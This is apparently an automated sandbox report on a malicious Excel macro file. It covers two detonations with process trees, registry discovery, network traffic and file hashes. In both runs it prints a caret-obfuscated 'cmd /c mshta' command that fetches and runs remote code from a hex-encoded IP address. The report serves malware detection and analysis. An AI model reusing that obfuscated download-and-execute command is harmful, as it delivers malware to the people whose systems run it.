Malware Analysis Report

2025-01-22 16:10

Sample ID 241111-v7s4wawkem
Target 6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29
SHA256 6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29
Tags
macro xlm discovery
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29

Threat Level: Known bad

The file 6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29 was found to be: Known bad.

Malicious Activity Summary

macro xlm discovery

Process spawned unexpected child process

Suspicious Office macro

Blocklisted process makes network request

System Location Discovery: System Language Discovery

Suspicious use of SetWindowsHookEx

Checks processor information in registry

Enumerates system info in registry

Modifies Internet Explorer settings

Suspicious behavior: AddClipboardFormatListener

Suspicious use of WriteProcessMemory

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 17:38

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 17:38

Reported

2024-11-11 17:40

Platform

win7-20241010-en

Max time kernel

70s

Max time network

42s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html

C:\Windows\SysWOW64\mshta.exe

mshta http://0xb907d607/fer/fe3.html

Network

Country Destination Domain Proto
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/2604-1-0x0000000072C7D000-0x0000000072C88000-memory.dmp

memory/2604-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2604-2-0x0000000072C7D000-0x0000000072C88000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 17:38

Reported

2024-11-11 17:40

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

139s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4300 wrote to memory of 3596 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 4300 wrote to memory of 3596 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 3596 wrote to memory of 5056 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 3596 wrote to memory of 5056 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6aabcf7489ea97978b22fe4037dc12269ccc7d3fa1fce46d1fb5db89b8f71a29.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html

C:\Windows\system32\mshta.exe

mshta http://0xb907d607/fer/fe3.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 70.208.201.84.in-addr.arpa udp
US 8.8.8.8:53 97.32.109.52.in-addr.arpa udp
US 8.8.8.8:53 roaming.officeapps.live.com udp
IE 52.109.76.243:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 14.242.123.52.in-addr.arpa udp
US 8.8.8.8:53 243.76.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 72.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 123.10.44.20.in-addr.arpa udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 74.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 48.229.111.52.in-addr.arpa udp

Files

memory/4300-1-0x00007FFE50410000-0x00007FFE50420000-memory.dmp

memory/4300-4-0x00007FFE50410000-0x00007FFE50420000-memory.dmp

memory/4300-2-0x00007FFE50410000-0x00007FFE50420000-memory.dmp

memory/4300-0-0x00007FFE50410000-0x00007FFE50420000-memory.dmp

memory/4300-3-0x00007FFE9042D000-0x00007FFE9042E000-memory.dmp

memory/4300-6-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

memory/4300-5-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

memory/4300-9-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

memory/4300-13-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

memory/4300-14-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

memory/4300-15-0x00007FFE4DAB0000-0x00007FFE4DAC0000-memory.dmp

memory/4300-12-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

memory/4300-16-0x00007FFE4DAB0000-0x00007FFE4DAC0000-memory.dmp

memory/4300-11-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

memory/4300-10-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

memory/4300-19-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

memory/4300-18-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

memory/4300-17-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

memory/4300-8-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

memory/4300-7-0x00007FFE50410000-0x00007FFE50420000-memory.dmp

memory/4300-30-0x00007FFE90390000-0x00007FFE90585000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 6bbc3f4950f18c7d55cd50c995a956ee
SHA1 47074bfe7ec8e9e1b6c187373b8bcd8d24ba45a2
SHA256 8e767861f5d66a1c9d8c497003b2026048d56cbc1c4a417f800a8f88ad092d00
SHA512 8642b7827ab676b597a5c38d3be650276bfa61abb1a4b17c96b72ddb55410eb0b9ded04bb62648652d5ac45779863abdf58b748bdb1ac9daf995644f372128e0